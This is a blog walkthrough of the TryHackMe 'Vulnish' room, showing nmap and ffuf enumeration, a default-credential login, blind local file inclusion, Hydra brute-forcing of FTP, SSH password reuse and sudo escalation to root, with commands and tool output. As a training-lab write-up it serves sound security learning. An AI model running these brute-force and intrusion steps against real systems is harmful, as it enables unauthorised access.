9 min read Walkthrough

TryHackMe - Vulnish Walkthrough

TryHackMe - Vulnish Walkthrough

\x01 Intro

Well, would you look at that - I found my Ghost password and actually posted something for the first time in...checks last post...5 months. Look, I have been busy.

One of the TCM Discord community members, SecHamza, created a TryHackMe room. I gave it a spin and wanted to post my write-up about it. Here is my take.

Vulnish started off by discovering a blind local file inclusion vulnerability. Although I initially fell short of trying to actually get anything useful through it, I was able to gain access by brute-forcing FTP, followed by a well-known privilege escalation method. Let's get started and just jump in.

\x02 Enumeration

As always, we started off with an nmap scan to discover what ports were open - pretty run of the mill.

# Nmap 7.94SVN scan initiated Mon May 20 23:18:27 2024 as: nmap -T4 -p- -oN scans/vulnish_initial -vvv 10.10.160.227
Nmap scan report for 10.10.160.227
Host is up, received syn-ack (0.15s latency).
Scanned at 2024-05-20 23:18:27 EDT for 449s
Not shown: 65532 closed tcp ports (conn-refused)
PORT   STATE SERVICE REASON
21/tcp open  ftp     syn-ack
22/tcp open  ssh     syn-ack
80/tcp open  http    syn-ack

Okay, cool - pretty standard ports to see. Let's rerun the scan, but this time, let's see what services are behind these ports, including versions.

[2024-05-23 02:51:10Z] [~/D/c/t/Vulnish] > more scans/vulnish_targeted 
# Nmap 7.94SVN scan initiated Mon May 20 23:41:55 2024 as: nmap -sC -sV -p21,22,80 -oN scans/vulnish_targeted 10.10.160.227
Nmap scan report for 10.10.160.227
Host is up (0.18s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 0d:b1:9c:e9:0b:f1:2e:b2:4a:5a:d9:8f:72:d9:f1:d5 (RSA)
|   256 24:b8:88:4d:e6:59:92:81:8a:ce:6c:62:3d:e0:69:ca (ECDSA)
|_  256 f3:2e:18:bc:e7:1f:07:de:74:91:cc:76:f7:b7:73:3c (ED25519)
80/tcp open  http    Apache httpd 2.4.29
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 403 Forbidden
Service Info: Host: 127.0.1.1; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Now we're getting somewhere. Here is how I would tackle these ports-

  • FTP
    • Is anonymous access allowed?
    • If we can log in, what files and directories can we access? Can we perhaps upload files and then access them through port 80?
    • Are there any known vulnerabilities for this version of vsftpd?
  • HTTP
    • What is being served?
    • What web framework is being used? PHP?
    • Can we discover any additional files and directories? I like to use ffuf for this.
    • Are there file uploads? Can we couple this with FTP?
    • Anything else?
  • SSH
    • Without credentials, starting with SSH is somewhat a waste of time. Short of blindly throwing Hydra at it, you aren't really going to get anywhere.

21 - FTP

I started off attempting anonymous logon - which did not work.

I kind of figured this was the case because using -sC with the second nmap scan would normally indicate if anonymous login was there, but it did not. Trust but verify?

[2024-05-20 03:42:14Z] [~/D/c/t/Vulnish] > ftp 10.10.160.227
Connected to 10.10.160.227.
220 (vsFTPd 3.0.3)
Name (10.10.160.227:gray): anonymous
331 Please specify the password.
Password: 
530 Login incorrect.
ftp: Login failed
ftp> exit
221 Goodbye.

Okay - no login for me.

80 - HTTP

Again, the nmap scan came back pretty empty for port 80, but let's check it out.

Wow - such a captive index

Oh, nice - not much here. I see the version number, which I already knew. Short of reporting this as a finding in a penetration test report for revealing the version, there is not much for me to do with this.

I turned to brute-forcing web directories with ffuf. Doing so revealed /secrets.

[2024-05-20 03:46:41Z] [~/D/c/t/Vulnish] > ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt -u http://10.10.160.227/FUZZ

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.160.227/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

server-status           [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 242ms]
                        [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 322ms]
secrets                 [Status: 301, Size: 316, Words: 20, Lines: 10, Duration: 321ms]

Going to http://10.10.196.3/secrets/ returned a login page.

I threw admin:admin at it because why not and it worked. Nice.

What have we learned here?

  1. Terrible password policies
  2. The index is index.php - maybe we can re-run ffuf using PHP as a file extension to find additional files?
  3. We have two users mentioned - let's save these.
    1. sec
    2. ludde
  4. What's a "ssh thingy" - I am assuming a private key.

The search field did not seem to do anything - like at all. Well, it did, just not here in the UI.

I did run ffuf again after specifying file extensions and found process.php, but nothing else of interest.

2024-05-23 03:40:19Z] [~/D/c/t/Vulnish] > ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-files.txt -u http://10.10.196.3/secrets/FUZZ -e old,bak,php --fw 20

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.196.3/secrets/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-files.txt
 :: Extensions       : old bak php 
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response words: 20
________________________________________________

index.php               [Status: 200, Size: 808, Words: 272, Lines: 32, Duration: 6240ms]
.                       [Status: 200, Size: 808, Words: 272, Lines: 32, Duration: 1042ms]
process.php             [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 1677ms]

22 - SSH

lol - nothing to do here right now.

Let's continue.

\x03 LFI? Where?

Okay - so we have a search feature that does not appear to do much. Let's proxy this through Burp to see what it looks like.

Okay - there is a search_term parameter being sent to process.php. Based off the response, it looks like it is...well searching for something. That something was not found.

I like to use special characters in these situations to see how my input is handled. Depending on which characters stand out, I can decide on the path I need to take. Let's do that.

I sent this request to Intruder

I used the special-chars.txt wordlist from SecLists - /usr/share/wordlists/seclists/Fuzzing/special-chars.txt

Sorting by response size, two characters stand out - a period and a forward slash.

What does this suggest? To me, it suggests LFI. Not just any LFI, but a blind one.

If we go back to Repeater and replace test in the search_term parameter with a basic LFI payload - we get the contents of /etc/passwd. Nice!

Because I am cheeky and I am already here, I used the LFI to get the user flag.

\x04 Where is that "ssh thingy"

Okay - I wanted that elusive "ssh thingy" that Ludde was talking about in the message we saw after signing in with that super secure username and password.

We know there was a user called sec based off the message and the fact we can see /etc/passwd. We also knew there should be a .ssh folder in their home directory that might have the "ssh thingy" I want.

Trying to use the LFI to do just that...well didn't work.

Okay - we always assume the SSH private key is named id_rsa, but it is possible they used another algorithm. They did not. No files with filenames id_dsa or id_ecdsa.

Okay - well, maybe there were other common files in that directory? I used a common SSH filename wordlist with Intruder to test just that. Yet again, I came up short.

No "ssh thingy" that I can see...

Let's keep digging.

\x05 Let's read some logs

If I were unable to pull SSH private keys, perhaps I could leverage the LFI vulnerability to get RCE via log poisoning.

I tried to read the apache2 log file. If I could, there would be a possibility I could poison the log file via the user-agent string to get command execution. Yeah, no - I could not read the file.

Okay - what about the SSH log? Yeah no - could not read that either.

What does this mean? Most likely the user running the apache process was not in the adm group and therefore cannot read most if not all of the log files in /var/log...darn.

Wait! Speaking of poisoning - can I maybe poison /proc/self/environ? No. Come on. I could not read that either.

\x06 Beating up FTP

Since I was running out of options on how to exploit the LFI vulnerability, I turned to using the two usernames I had found.

I used Hydra to brute-force FTP on port 21 with fasttrack.txt as the password wordlist.

I got a hit - username sec and a password. Sorry - not going to give it to you.

[2024-05-23 23:56:00Z] [~/D/c/thm] > hydra -L names.txt -P /usr/share/wordlists/fasttrack.txt 10.10.76.28 ftp
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-05-23 19:56:17
[DATA] max 16 tasks per 1 server, overall 16 tasks, 444 login tries (l:2/p:222), ~28 tries per task
[DATA] attacking ftp://10.10.76.28:21/
[21][ftp] host: 10.10.76.28   login: sec   password: xxxxxxxxxxx
[STATUS] 227.00 tries/min, 227 tries in 00:01h, 217 to do in 00:01h, 16 active
[STATUS] 222.00 tries/min, 444 tries in 00:02h, 1 to do in 00:01h, 9 active
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-05-23 19:58:24

And look at that, I can login as the sec user.

Cool, I guess. However, I didn't really want to work through an FTP session. What are the chances that the password which worked for FTP also works for SSH?

Ayo! I have a stable shell running as the sec user.

\x07 Getting Root

Admittedly, this was very easy.

One of the first checks I do is run sudo -l if I have a user's password.

Would you look at that, the sec user can run anything with sudo privileges.

I just ran /bin/bash with sudo and successfully escalated to root.

Proof

\x08 Thank you!

Thank you, Hamza, for creating this box - nice work! It's always nice to chat with you on the Discord server and to complete your room.

For the rest of you, thank you for reading this through. I will try not to lose my Ghost password this time, so I can post more frequently than once every six months.

Kyle Gray

Kyle Gray

Hey there 👋 Certs - ITILv3, eJPT, PNPT, CRTP, CRTE, PJPT, CRTO